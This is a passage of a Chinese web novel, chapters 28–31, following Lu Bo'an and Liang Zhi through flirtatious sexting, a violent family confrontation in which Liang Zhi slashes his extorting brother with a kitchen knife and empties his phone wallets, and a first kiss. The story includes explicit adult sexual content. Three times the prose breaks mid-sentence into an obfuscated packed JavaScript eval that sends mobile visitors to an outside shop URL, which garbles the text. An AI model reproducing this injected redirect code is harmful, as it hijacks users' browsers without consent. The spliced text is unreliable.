他半撑起身,弯腰伸手去够,昏暗中余光先扫到一个敞着箱口的纸箱,看清里面一角,顿时一愣。 他翻身下床,蹲下身攥住纸箱边缘往外拖,箱内的东西顿时一览无余。 五颜六色的小裙子、皮质腿环、珍珠腰饰、蕾丝大腿袜、蝴蝶结腕带、碎钻细高跟……所有物件都崭新挺括,没有使用过的痕迹。 他盯着箱子沉默许久,伸手将箱子推回黑暗。不过两秒又拽出来,睁着眼再确认一遍,再次将箱子推回原处。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184936|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陆柏安此刻就坐在一墙之隔的次卧,消息敲到一半,对话框那头忽然没了声。半天没等来新回复,他一边喝水一边单手飞快敲了句:「人呢?」 zz:「1。」 还在线,那刚才怎么半天没动静。 用户886886:「在干嘛?」 那头又安静了,陆柏安盯着输入框,正想着要不要再继续发,屏幕上突然蹦出一张照片。他漫不经心地点开,定睛一看,喉间一口水险些直接喷在手机上。 画面是一张没露脸的自拍,只框住卧床的上半身。领口松垮,露出锁骨下方那颗艳红的小痣。衣摆撩起一截,软布卷在腰侧,露出一截清瘦瓷白的腰腹。 陆柏安退出去又点开,反复确认。床单被罩是自己刚换的,没错。那截腰和那颗痣都是梁知本人的,也没错。 三十秒不到,他猛地拉开房门,大步走到主卧门口敲了敲门板。 里面动静慢吞吞的,过了好一会儿才拧开房门。 梁知站在门后,神色平静和平时没两样,唯有鼻头和眼尾还浮着未散的浅红,留着白日哭过的痕迹。 “陆老板,有什么事吗?” “嗯。”陆柏安脱口而出。 “什么?” 陆柏安说不出话来,目光不受控往下落,梁知衣领歪着,锁骨露了一片,那颗红痣和照片里一模一样,艳得晃眼。 “口水又要流出来了。”梁知轻声道。 陆柏安一听,下意识偏头去瞅沙发上的毛豆,小奶狗蜷成一团,睡得沉得很。 “我说你。”梁知补充。 陆柏安一怔,忙抬手抹嘴角,指尖确实沾到点水渍,是刚才呛出来的水。 “我刚喝水呛到的。”他嘴硬地撇清。 梁知点点头:“好的。”一副十分淡定的模样。 他好像被耍了…… 陆柏安啧了一声,板起脸叮嘱:“没事,就看看你睡没睡。早点睡,别抱着手机瞎玩。” “好。”梁知应声合上房门。 门刚关严,手机又弹进一条消息,来自李秀娥:「知知,阿信一直问你怎么还不回来。」 梁知一边踢开拖鞋脚踝勾着床沿躺倒,一边回复:「在外面上床,今晚不回了。」 陆柏安退回次卧,攥着手机往床上一坐,看着屏幕斟酌半天,最终只敲出一句:「什么意思?」 zz:「你问我在干嘛,我在睡觉。」 紧跟着又弹来一张照片,画面里只拍到腰腹下沿,一只手松松搭在裤腰上,指节勾着布料轻扯,露出一小截清晰的髋骨。 陆柏安盯着屏幕瞳孔一缩,气血猛地往下冲,两眼发昏。 用户886886:「你随随便便就给陌生人发私密照?」 zz:「你随随便便就给陌生人打赏礼物?」 陆柏安…… 陆柏安无法反驳。 这人到底怎么回事?家里躺着一个,白天还刚跟他牵过手,晚上转头就给网上的陌生男人发这种照片。 陆柏安太阳穴突突直跳,却不受控地把那两张照片来回放大、缩小,片刻后,他自暴自弃地闭上眼,右手探进裤腰猛地一掏。 29. 29 害他软不下去的人就在一墙之隔,陆柏安打飞机都打得小心翼翼,生怕透出一点动静被隔壁的人听了去。 草草结束后,他轻手轻脚地走到厕所,清洗完手后刚一推门就撞到个人。 陆柏安吓得魂都差点飞出去,后退小半步:“你站门口干什么?” 梁知神色自然:“上厕所。” 陆柏安往墙边缩了缩,侧过身子让开道路,声音低得像蚊子哼:“哦。” 梁知擦过他身边进去,门轻轻合上。 再出来时,客厅里还亮着一盏昏黄小灯,陆柏安没回房,就站在客厅中央。 “怎么不回房?” 陆柏安看看天花板,又看看地面,最后才道:“饿了,吃夜宵不?” “吃什么?” 半分钟后,两人挤在狭小的厨房里。 陆柏安拧开水龙头,细流缓缓注入小锅里。梁知站在一旁,安静地撕着方便面包装。 “陆老板。”梁知忽然开口,“还没有问过你,叔叔阿姨去哪了?” 陆柏安注水的动作猛地一顿,水流微微溢出一点,溅在手背上,他沉默两秒,语气听不出任何情绪:“死了。” 梁知捏着包装袋的手指一顿,转头看向他。 “前年,他们去隔壁街办事。”陆柏安直起身,目光落在锅里平静的水面,“公交车刹车失灵,直接开进了河里。救援队捞了好几天,尸体没捞上来。” 梁知听过这件事,在澜溪县这样小的地方,那是一件所有人提起来都扼腕叹息的特大事故。 他心口轻轻一沉:“对不起。” “有什么对不起的,过去这么久了。”陆柏安关掉水龙头,侧过头随口反问,“你呢?今天不回去,你爸妈不担心?” “担心。但大概不是担心我,只是担心我不回去。” 陆柏安皱了皱眉,不懂这两者之间有什么区别。 第二天早上六点半,从外面回来的陆柏安打着哈欠,原以为梁知还没醒,却没想到看见对方已经穿戴整齐正蹲在沙发旁。 梁知背对着他,看不出在做什么。陆柏安没出声,放轻脚步慢慢走过去,才看清他一手环着毛豆,另一手微微倾斜,捧着小狗平时吃饭的小碗正喂着毛豆喝羊奶粉。 听见脚步声靠近,梁知缓缓转过头:“毛豆睁眼了。” 陆柏安俯下身一看,毛豆乖乖窝在梁知臂弯里,果然睁着眼。那双刚睁开的小眼睛蒙着一层薄薄的水雾,黑亮又懵懂。 “原来长这样。” 他伸出手指轻轻戳了戳小狗的脊背,毛豆喉咙里滚出一声细弱的哼唧,舌头笨拙地舔着碗沿,粉嫩的鼻尖沾了一点奶渍。 梁知怕它呛奶,喉间无意识地逸出一丝轻柔的安抚气音,毛豆也跟着咕噜了一声。 陆柏安的目光在他微垂的眼睫停留一瞬,指尖慢慢挠了挠毛豆的下巴。 “这么会撒娇。” 话音刚落,梁知抬眼看了他一眼。 两人目光猝不及防撞在一起,只短短一秒,陆柏安便像被烫到似的飞快移开视线。 梁知像什么都没察觉似的:“陆老板你这么早就醒了,刚才去哪了?” “出去买了点早餐,”陆柏安清了清嗓子,“随便吃点。” 说完,他把从外面带回来的塑料袋解开,热气混着香气立刻漫了出来,油条、包子、烧麦、糯玉米、茶叶蛋,摆了满满一茶几。 梁知扫了一圈,语气迟疑:“随便吃点?” “嗯。”陆柏安面不改色,“我平时都这么吃。” 结果等两人吃完,桌上还剩了大半。陆柏安一言不发地吃剩的塞进冰箱,和梁知一起出了门。 “我记得你的铺子应该不会这么早开门。” 梁知记得陆柏安店里最早也要八点过后才营业。 陆柏安目视前方,脚步平稳:“今天活儿多。” “这样。” 已是盛夏,天亮得很快。这会儿天光已经透彻,却还没被烈日烤得发烫,风是凉的,光是柔的,空气里带着草木与露水的淡香,是一天里最干净、最舒服、也是梁知最喜欢的时刻。 两人一狗安静地走,大福乖乖贴在脚边,尾巴慢悠悠晃着,直到到达陆柏安的店铺门口。 梁知站定:“谢谢陆老板昨天收留我。” 陆柏安从鼻腔里轻嗯一声,他以为梁知道完谢便会去快餐店,可对方立在原地没有动。 “昨天的事可以帮我保密吗?” “嗯?” “就是……”梁知顿了顿,“我哭的事。” 啊。 昨天事发突然,陆柏安光想着梁知发生什么事了,根本没心思细想别的。此刻被重新提起,画面才一寸寸清晰起来。 绯红的眼尾、湿润的睫毛、晃荡的泪珠…… 平时一副性冷淡的样子,哭起来怎么那么…… “陆老板?” 梁知轻轻一声,把他飘远的神思硬生生拉回来。 陆柏安猛地回神,轻咳一声:“……我会保密。” 梁知不说他也会这么做。 “谢谢。”梁知话音刚落,突然朝陆柏安伸出手。 陆柏安瞳孔微缩,整个人瞬间僵在原地,一动不敢动。 要干嘛? 拉手?摸头?是不是有点太突然了? 梁知身上到底喷了什么东西?怎么这么大股味儿? 下一秒,两根手指落在他肩头,再收回时,指缝间捏着一根浅棕色的狗毛。 梁知捻了捻两根手指:“沾了东西。” “…………” “陆老板,脸好红。” 陆柏安伸手摸了一下脸,喉结狠狠滚了一下:“……天太热了。” 梁知沉默一瞬,轻声补了一句:“逗你的。” 陆柏安整个人还没回过神,下一秒,梁知已经转过身,轻轻对他挥了挥手:“陆老板,再见。” 他走得干脆,自然不会知道,他离开后陆柏安站在原地半天没挪步,点开前置摄像头,往自己脸上一照。 ……果然是被逗了。 也不知道,陆柏安没有开门营业,反而转身一步步朝着来时的路走回了家。 更不知道,一进门,陆柏安没开灯,没撸狗,没做任何事,径直走进了昨晚自己睡过的那间房。 床单、被套、枕巾全都没换,陆柏安直接躺了上去。身体刚一陷进床垫,瞬间起了一身鸡皮疙瘩,差点又没控制住。 “真的不能再撸了……”陆柏安一边念叨,一边挣扎。 _ 梁知今天忙完快餐店和花店的活儿后没有去送外卖,或者说,他以后都不打算再送了。 回到租房时,李秀娥和陈福安早就坐立不安地等着,一听见门锁转动的声音,两人几乎是立刻齐刷刷转过头。 “知知,昨晚去哪了?” “电话打了几十个,怎么一直不接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184937|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “你说在外面跟上床是怎么回事?” 一连串的问话劈头盖脸砸过来,梁知等全都问完才平静地回复:“有点事,所以没回。” 说完,便径直往房间走。 “什么事?” 李秀娥从沙发上弹起来,伸手就要去抓他的胳膊,梁知却像是背后长了眼睛,忽然停下脚步,缓缓转过头。 “妈,我有点累。” 李秀娥伸出去的手硬生生僵在半空,不知道为什么,她感觉梁知看她的眼神里透着一股前所未有的冰冷,看得她心口一紧。 梁知推开房门走了进去,陈信正坐在轮椅上。房间没开灯,只有窗外透进来的一点微光,落在他紧绷的侧脸上。见到梁知回来,他一句话都没说,只是死死盯着他,一寸寸扫过他的领口、头发、手腕。 梁知完全无视那道灼人的视线,一言不发地弯腰打开衣柜翻找着自己的换洗衣物。 等他拿着衣服要出去,陈信终于叫住他:“知知。” 梁知停下脚步。 陈信紧盯着他的背影:“不打算跟我说些什么吗?” “不打算。” “昨天晚上为什么没回来?去哪了?” “不想说。” 陈信胸口剧烈起伏了一下,声音陡然拔高:“你说你在外面上床,是什么意思?” 梁知转过身,目光直直撞进他眼里:“字面意思。” 陈信瞳孔猛地一缩,不敢置信:“你跟别人上床了?” 梁知没接话,只道:“我要去洗澡了。” 就在他再次转身的瞬间,身后传来一阵急促的轮椅滚轮的声响,一只冰凉的手猛地攥住他的手腕。 梁知垂眸看向被握住的地方,微微一怔,陈信已经能做出这么大的动作了,虽然握得很吃力,每一根手指都在发抖,但指腹死死扣着他的皮肤,几乎要嵌进肉里。 “知知,”陈信喘着气,眼睛红得吓人,死死盯着他,“你昨晚跟哪个男人在一起?是不是陆柏安?你们真的上床了?” 梁知的眸色一点点沉下去:“松手。” “你说过不会离开我的。” 梁知在脑海里翻了一圈,不记得自己说过这种话,只重复道:“松手。” “不要忘了,我的病是怎么得……” “啪——” 一声清脆又利落的巴掌响在狭小昏暗的房间里炸开。 陈信整个人都懵了。 他维持着抓手腕的姿势,头被打得偏在一边,脸颊上火辣辣的疼,却像是感觉不到,只缓慢、僵硬地转回头,满眼震惊地看着梁知。 梁知收回手,指腹微微发麻。 他目光平静地看着陈信:“我说过很多次了,是你不松手。” “知知……”陈信声音干涩,嘴唇哆嗦。 他的目光下意识往下落,一眼就看见梁知的手腕上,被他硬生生攥出了一圈清晰的红痕,他瞬间慌了,慌忙松开手。 “对不起,我不是故意的,我不是故意要弄伤你,我只是太担心你了,知知,我不是故意的……” 梁知注视着眼前这个慌乱无措的男人,沉默了好几秒,缓缓抬起刚才使用过的那只手,掌心轻轻覆上陈信被打的那半边脸颊。 “疼吗?” “不疼……”陈信摇头,“我不疼,知知,你的手疼不疼?” “疼。”梁知看着他,一字一顿,“陈信,我要疼死了。” 30. 30 二十多年的相处,纵然没有过爱,但要说一点感情都没有那也是自欺欺人。哪怕稀薄,哪怕扭曲,到底还是沾着一点亲情。 手疼,也不只是手疼。 可陈信完全听不出他话里的隐喻,只以为他还在气刚才被攥疼的手腕:“对不起,知知,我给你吹吹,吹吹就不疼了。” 一股轻轻的风落在梁知的手心。 梁知低头静静看着他:“你有话想跟我说吗?” 陈信连声道歉:“对不起,我刚才不该凶你,不该抓你抓那么紧。” “除了这个,没有了吗?” “除了这个……知知,你别跟那个陆老板走太近,好吗?” 梁知把手抽开,在裤子上不轻不重地擦了两下。 “我去洗澡了。” “知知……” 陈信的声音在身后追着,梁知脚步没停。 等他洗完澡出来,李秀娥已经在桌上给他端了一碗鸡蛋面,热气袅袅,飘着淡淡的油香。他坐下安静地吃,面很烫,他吃得很慢。 李秀娥在旁边搓着手,犹豫了半天,终于还是小声开口:“知知,你身上……有钱吗?” 梁知抬眼,静静地看着她,不答,只是看着。 那眼神太平静,平静得让李秀娥心里莫名发毛。 “是这样的,你爸之前的木工厂合作过的一个老板看中他的手艺,得知他现在不在那工作,想单独跟他合作一批大单子,量特别大,得先垫一笔本金进去……所以我们想……” “没有。” 李秀娥一下子愣住了。 梁知继续道:“我没有钱。” 陈福安连忙上前:“知知,你放心,这钱……” “我赚来的钱都用在了哪,还剩多少,我从来都没有隐瞒过。”梁知放下筷子,看向两人,“爸,妈,你们应该比谁都清楚,我确实没有钱。” 李秀娥张了张嘴,最终只能讪讪地低下头:“那……那我跟你爸再想想办法。” 梁知默默把面吃完,手机轻轻震了一下。 是陆柏安发来的消息:「回家了吗?」 梁知:「回了。」 陆柏安:「和家里人和好了?」 梁知:「没有,我还在生气。」 消息发出去后,对方一直没再回复,梁知收起手机把碗拿去厨房洗了。 洗完碗后又洗了个脸刷了个牙后,才终于收到陆柏安的消息,对方发来了一条视频。 是最近网上很火的一个小挑战,一根胡萝卜和一包纸巾并排放在大福面前。 陆柏安低沉的声音从画面外传进来:“纸。” 大福耳朵一竖,立刻伸爪子扒拉纸巾。 “胡萝卜。” 小狗又精准地拍向胡萝卜,来来回回好几次,一次都没有错。 最后陆柏安低笑了一声:“卖萌。” 大福立刻支起两只前爪,肚皮微微收紧,尾巴疯狂地甩着,吐着舌头斯哈斯哈地喘气,眼睛亮晶晶地望着镜头。 陆柏安伸手,覆在它毛茸茸的脑袋上轻轻揉了两把。 视频结束,紧跟着一条文字:「还生气吗?」 梁知沉默地再次点开视频,把进度条拉到最后,定格在陆柏安摸大福脑袋的那几帧。 掌心很宽,手指修长,骨节分明。手背上淡青色的青筋隐隐凸起,不突兀,却很有力量。 他记得这只手昨天牵他时的触感,是暖的、烫的,指腹上的茧子有些扎人。 他将指尖轻轻抵在屏幕上,隔着一层冰凉的玻璃,虚虚地碰了碰那只手的轮廓。 「不生气了,陆老板神医。」 回到房间,里面的陈信立刻抬起头:“知知。” 梁知什么也没说,沉默地躺到床上。 “知知,你还在生我的气吗?” “知知,我真的不是故意的……” “知知,你理理我好不好……” 絮絮叨叨的声音在耳边绕。 梁知一直没开口,直到陈信口干舌燥时,他才忽然出声。 “陈信。” “嗯?” 梁知的目光落在天花板上:“下周二,是我生日。” 他对外一直说自己二十八岁,可真正的日期还并没有到。 陈信的语气变得轻快了些:“我记得的,知知想要什么生日礼物?” 梁知缓缓偏过头,看了他一眼。 窗外不断有汽车驶过,灯光落在他脸上,明明灭灭,看不清情绪。 他轻声问:“你能送我什么?” “知知想要什么?” “我想要什么都可以?” “只要是我能给你的。” 梁知收回目光,重新望向那片空白的天花板。 良久,他轻轻闭上眼,薄唇微启,只落下一个字:“好。” * 一天、两天、三天过去。 陆柏安从修理桌前站起身,把帮忙照看的梅小五递给刚和梅姐看完电影回来的铁三星:“问你个事。” 铁三星:“啥事?” “假如有个网友,连续好几天给你发那种照片,是什么意思?” “我没网友,我只有小梅一个人。” “我说假如。” “什么照片?” “就是……锁骨啊、腰啊、大腿啊之类的。” 铁三星沉默几秒:“老陆你网恋了?” “我说假如,当然不是我。” “那还能为什么,要么图钱,要么图人呗。” 陆柏安站在原地沉默。 图钱?他是没少给梁知打赏,可对方从来没主动开口要过任何礼物。网上都说主播跟大哥处熟了都会加微信,一个联系方式都能被炒到几百上千,梁知也从没主动找他要过。 图人?他账号一条作品都没发过,干净得像小号,梁知连他长什么样、多大年纪、是男是女都不知道。 但是,就很怪。 这几天他和zz天天发消息,对方时不时就会给他发张照片。 ……然后为了以表诚意,昨天晚上他洗完澡后在厕所里凹了半个小时的造型也拍了张对镜拍,但是犹豫半晌,始终没发出去。 林小满一阵风似的冲了进来,一把拽住陆柏安和铁三星的胳膊:“走,今天国安对上港,去施泽店里看直播。” 两人被他半拉半拽地拖了过去,一踏进纹身店,发现梁知居然也在,正和周清然坐在一起,周清然怀里抱着大福的其中一个儿子,两人低头凑在一块儿撸小狗。见到他进来,梁知喊了句陆老板。 施泽店里的电视挂在墙中央,正直播着当晚最受关注的一场球赛。几人围坐成一圈,桌上摆满了花生、瓜子和冰镇啤酒。 林小满和铁三星看得热血沸腾,一会儿拍腿大叫,一会儿喊加油,整个小店闹哄哄的。 陆柏安和梁知中间隔了个林小满,梁知没碰啤酒,只是安安静静地磕着瓜子,瓜子壳在指尖轻轻剥落,唇瓣一下下碰着瓜子仁。 陆柏安突然想起之前在林小满快餐店里一起做桂花糕的那回,他碰过梁知的嘴唇,很软。 电视里突然爆发出一阵惊呼,进攻方一脚精准直塞,前锋接球单刀突入禁区,所有人都瞬间屏住呼吸。林小满猛地往前一探身,大吼一声:“射门!” 千钧一发之际,门将飞身横扑,足球擦着立柱偏出底线,一屋子人顿时发出一片惋惜的叹气。 或许是陆柏安的视线太过明显,旁边的林小满忽然扭头,一脸纳闷:“看我干什么?” 这一声瞬间惊动了梁知,他缓缓转过头,目光一抬,刚好与陆柏安直直对视。 “谁看你了?”陆柏安别开脸,胡乱抓起啤酒罐往嘴里猛灌一口。 手机突然在口袋里轻轻震动了一下,他摸出来一看,是zz发来的消息。 陆柏安不动声色地往梁知那边瞥了一眼,对方恰好放下手机,重新看向球赛屏幕。 他点开聊天界面,zz只说了一句:「放衣柜里了。」 正是回答他上一条问的,那条破洞丝袜后来怎么处理了。 陆柏安喉结轻轻一滚,脑子一热,鬼使神差地把那张照片发了出去。 照片里他刚洗完澡,上身没穿衣服,光线不算明亮,却把紧实流畅的肌肉线条勾勒得清清楚楚,下身只穿了一条灰色运动裤。 发出去的瞬间,他余光紧紧盯着梁知。 果然,那人低下了头,目光落在手机屏幕上。 没过两秒,手机再次震动。 zz:「好大。」 陆柏安身体猛地一僵,花生差点呛进喉咙。 zz:「腹肌。」 zz:「练过吗?」 陆柏安强压着心口乱跳:「没有,干活儿干出来的。」 屏幕里的球赛还在激烈地进行中,国安和上港你来我往,解说喊得声嘶力竭,林小满拍着大腿叫好,整个小店吵得热火朝天。 陆柏安半个字都听不进去,余光一遍又一遍地往梁知那边飘。那人垂着眼看手机,不知道在想什么,看上去平静得很。 手机又震了一下。 陆柏安心脏猛地一提,飞快低头。 zz:「硬吗?」 他手一抖,啤酒罐差点砸在地上。敲了又删,删了又敲,最后只憋出一个字:「硬。」 刚好屏幕里一脚远射,林小满扭头拍他:“老陆你干啥呢?看见没啊,刚才那么好的球。” “看了。”陆柏安声音有点哑,“看见了。” “看见了你咋不喊?” “……不想喊。” 他哪儿喊得出来,他现在连呼吸都要轻轻的。 手机又轻轻一震,陆柏安低头,心脏直接跳到嗓子眼。 zz:「想摸。」 陆柏安猛地捂住手机,霍然站起身,吓了旁边看得入神的林小满一跳。 “你干啥?球还没进球呢!” “我上厕所。” 他丢下一句,同手同脚地往厕所的方向匆匆走去。 一旁的梁知抬起头,安静地看着他的背影,慢悠悠往嘴里塞了颗瓜子,直到陆柏安的身影消失在视线里,目光轻轻一转,又落回到电视屏幕上。 当晚球赛散场,梁知独自回到住处。还没走到自家那层,就先听到一阵刺耳的吵闹声。 几家邻居都把门开了一条缝探头探脑,看见他上来,眼神同情:“小梁啊,你可算回来了,你家里闹翻天了,快回去看看吧!” 梁知站在门口,将门锁轻轻一转。门刚一拉开,震天的喧闹直接砸在他脸上。 “我不信,你们就是藏着钱不给我!” “你别砸了!那是锅啊!砸了以后怎么吃饭!” “阿迅!你清醒一点!我们是真的没有!” 屋里一片狼藉。 凳子翻倒在地,塑料盆被踩扁,茶几上的东西全被扫落在地,碎渣、水渍、垃圾混在一起,几乎没有下脚的地方。 陈迅红着眼,面目扭曲,像一头被逼急了的野兽,逮着什么砸什么。 李秀娥和陈福安一左一右拉着他,却被他甩得东倒西歪。 梁知刚站定,一只瓷碗带着风声朝他这个方向砸了过来。 “哐!” 碗在他脚边炸开,碎片四溅。 一片锋利的瓷片擦着他的脸颊划过,瞬间传来一阵细微的痛楚,一道淡红的血痕很快浮现在皮肤上。 陈迅扫到门口的他,一把甩开李秀娥的手:“梁知!你回来了正好!给钱!他们不给我,你给!你肯定有钱!” 梁知站在原地,嘴角极轻地扯出一点弧度,随后抬起脚步,走向狭小的厨房。 陈迅追上来:“去哪!今天不给钱你别想好过!” 下一秒,梁知从厨房走了出来。他手里握着一把明晃晃的菜刀,刀刃被灯光照得发亮,冰凉的金属泛着冷光。 满屋子的吵闹瞬间死寂。 陈迅的脚步猛地钉在原地,脸上的疯狂瞬间僵住。 李秀娥吓得脸都白了:“知知!你、你把刀放下!危险!” 陈福安也慌了:“知知有话好好说,别做傻事!” 梁知却像没听见,他站在满地碎片之中,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184938|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颊上那道血痕衬得白皙的脸多了几分狠戾。 “钱,我没有。” “这屋子,是我租的。” “现在,立刻,从我这里滚出去。” 陈迅吓得后退半步:“你、你敢拿刀威胁我?我是你哥!你敢动一下试试!” 梁知的眼底没有一丝波澜,他缓缓抬起手腕,将刀刃轻轻抵在自己的掌心边缘,只要稍稍一用力,就能见血。 陈迅的手朝梁知的口袋抓去:“你少拿这套吓我!我就不信你敢真砍……” “哐当!” 一声闷响。 陈迅惨叫一声,整个人踉跄着往后倒去,手背瞬间红紫一片,疼得他蜷缩着手腕嚎啕大叫。 “啊!我的手!我的手!” 李秀娥和陈福安吓得魂飞魄散,冲上去扶住陈信,脸色惨白如纸。 “阿迅!” “你没事吧?” 梁知冷冷道:“再不滚,砸过来的就不是刀背,而是刀刃。” “梁知你这个疯子!我不会放过你的!”陈迅捂着手背,一边嘶吼一边连滚带爬地往门口冲。 “等等。”梁知忽然开口。 他站在原地,目光平静地扫过满地狼藉,被砸烂的塑料凳、碎裂的碗碟、被扫落在地的生活用品。 “把损坏的东西赔了再走。” 陈迅一脸不可思议:“赔?我要是有钱,还用来找你们要钱?!” “没钱,可以,那就留下来,一样一样收拾干净,砸坏什么,就亲手给我修好。” 陈迅脸色一阵青一阵白,梗着脖子嘶吼:“我就是没钱!要钱没有,要命一条!” 梁知看着他这副死皮赖脸的模样,没有任何犹豫,没有丝毫征兆,手腕猛地一扬,刀刃划破空气,直接划在了陈迅伸出的手臂上。 “嘶!啊!” 伴随着一阵尖锐的惨叫,陈迅胳膊上立刻裂开一道血口,鲜血瞬间渗出来,顺着小臂往下淌,染红了袖口。 李秀娥和陈福安吓得魂飞魄散,尖叫着扑过来:“阿迅!” 梁知重复:“我说了,赔完再走。” 陈迅疼得浑身发抖,手臂上的伤口火辣辣地疼,看着梁知那双毫无生气的眼睛,腿一软,差点瘫在地上。 梁知伸出另一只手:“手机。” 陈迅颤巍巍把手机递了过去。 梁知直接点开微信与支付宝,余额加起来一共一千三百七十二块。当着三个人的面,一分不剩,全部转到了自己的账户里。转账成功的提示弹出,他才把手机扔回给陈迅。 陈迅捂着流血的胳膊,连疼都顾不上,连滚带爬地往门外冲,李秀娥和陈福安慌慌张张跟上。 “砰——” 大门被狠狠关上,反锁。梁知看着眼前乱糟糟的客厅,眉峰轻轻蹙起。 “知知。”一道微弱的声音从旁边传来。 梁知抬起头,陈信坐在房间门口。 “知知,对不起,我真的不知道大哥他会变成这样,我拦不住他……” 梁知没应声,也没看他,只是对着客厅中央那台老式大头电视拍了张照。 屏幕正中间被硬生生砸出一个深陷的坑,裂痕从中心往外蔓延,其他家具勉强还能归位,只有这台电视看起来有点棘手。 他点开和陆柏安的对话框。 「陆老板,这电视还能修吗?」 消息发出去没几秒,对方就回了过来「怎么弄坏的?」 梁知扫了一圈地面,找到罪魁祸首:「椅子砸的。」 发完,陆柏安暂时没有回复他,他便把手机锁屏揣回兜里朝陈信走过去。 陈信立刻仰起头:“知知。” 梁知依旧没说话,只是伸手不由分说将陈信推回房间里,反手带上房门。 整个客厅终于彻底安静下来。 梁知松了口气,转身在沙发上坐下,从裤兜里慢慢摸出一包烟,是周清然刚才塞给他的,说他们兄弟之间,最常送也最实在的礼物就是烟。 他捏着那包万宝路沉默了好一会儿才抽出一支,微弱的火苗映在他眼底,又很快熄灭。 他轻轻吸一口,烟头上的火星微微一亮,烟气入喉,他不习惯地轻蹙了下眉,却没咳,只静静忍下那股涩辣,再缓缓吐出来。 白雾从他唇间轻漫而出,绕在他鼻尖、下颌,像一层薄纱,烟雾朦胧中,他脸颊那道浅浅血痕若隐若现。 怪不得那些人喜欢抽烟,原来真的有用。 一根烟抽完后,门外响起一阵敲门声。 门一拉开,门外站着的竟然是手里拎着一个维修箱的陆柏安。 “怎么会用椅子砸电……” 陆柏安的话说到一半戛然而止,声音瞬间沉了下来:“你脸怎么了?” 空气里还飘着没散尽的烟味,满地狼藉从门内隐约露出来,碎瓷片、歪倒的凳子,一目了然。 陆柏安一眼扫过去,脸色越来越沉。 “谁弄的?”他的直觉突然有点准,“你那个养兄?” 梁知嗯了一声。 “艹。”陆柏安低骂,“我上次是不是跟他说过,他再来找你麻烦我打得他妈都不认识。” 说完他转身就要走。 梁知拉住他:“去哪?” “去找他。” “你去哪找?别去了,我已经教训过了。” “那……”陆柏安皱着眉转头,视线落在梁知脸上,啧了一声,从兜里摸出一片创可贴,指尖微微用力,将包装撕开。 他抬起手,先轻轻碰了一下伤口周围的皮肤,确认梁知没有闪躲,才缓缓将创可贴贴上去。微凉的胶布贴着肌肤一点点覆上,梁知能清晰地感觉到,自己的伤口正被一点点包裹住。 贴好的瞬间,陆柏安的手指还顿在他脸颊旁没有立刻收回。 两人视线在半空中相撞,一眨不眨。暖黄的灯光裹着彼此,空气里的烟味淡得刚好,呼吸轻轻交缠,谁都没有先移开眼。 “陆柏安。” 沉默许久,梁知把那句“怎么每次都出现得那么及时”咽下去,轻声问:“你想亲我吗?” 31. 31 有那么一瞬间,陆柏安完全分不清自己是不是还清醒着,否则他怎么可能听到梁知对自己提出这种问题。 他喉结狠狠一滚,声音发哑,不敢置信:“……你说什么?” 梁知看了他两秒,没有重复,转身朝客厅里走:“没听见就算了。” “谁没听见了?”陆柏安一把拉住他脱口而出,“我听得一清二楚,你问我,想不想亲你。” “所以亲吗?” 靠…… 陆柏安的呼吸一滞,视线不受控制地落在梁知的嘴唇上。色泽是浅淡的粉,透着一层薄薄的水光,上次用手指拨弄的触感还记忆犹新,如果不是用手指,而是用嘴…… 靠! 亲就亲,谁怕谁? 陆柏安抬脚狠狠一带,门板重重合上。紧接着猛地往前一步,一把扣住梁知的后颈。 下一秒,两片唇瓣撞在了一起。 没有技巧,生硬而笨拙地相贴。 两人同时浑身一僵,齐齐轻颤了一下。 陆柏安碰了一下就下意识顿住,脑子一片空白,连怎么继续都不知道,只觉得梁知的嘴亲起来比他想象中还要软,僵在原地不敢深也不敢退。 梁知刚才话说得好听,真被这样吻住时也懵了,睫毛疯狂颤抖着,下意识闭紧眼睛。 空气里那缕淡淡的烟草味在紧贴的瞬间变得格外清晰,陆柏安混沌的脑子稍稍回神,依旧僵硬地贴着他的唇,气息乱得一塌糊涂,含糊地问了一句:“抽烟了?” 他还以为烟味是梁知养兄留下的,没想到梁知嘴里也有。 梁知顿了几秒,缓慢地嗯了一声。 “一杯倒还学人抽烟。” 话音落下,陆柏安急切地开始加深这个吻。他紧张得手心冒汗,扣在梁知后颈的手越收越紧,凭着以前在泡沫剧里搜刮来的技巧厮磨贴合。 梁知被他吻得浑身发软,原本紧绷的唇瓣渐渐放松下来,差点要撑不住身体的重量,双臂下意识环上对方的脖子。 两人抱得歪七扭八,差点站都站不稳。嘴上磕磕碰碰,却谁都舍不得松开。 大门旁就是厨房,他们就这么一边吻着,一边不受控制地往后退,脚步凌乱、跌跌撞撞地挪了过去。 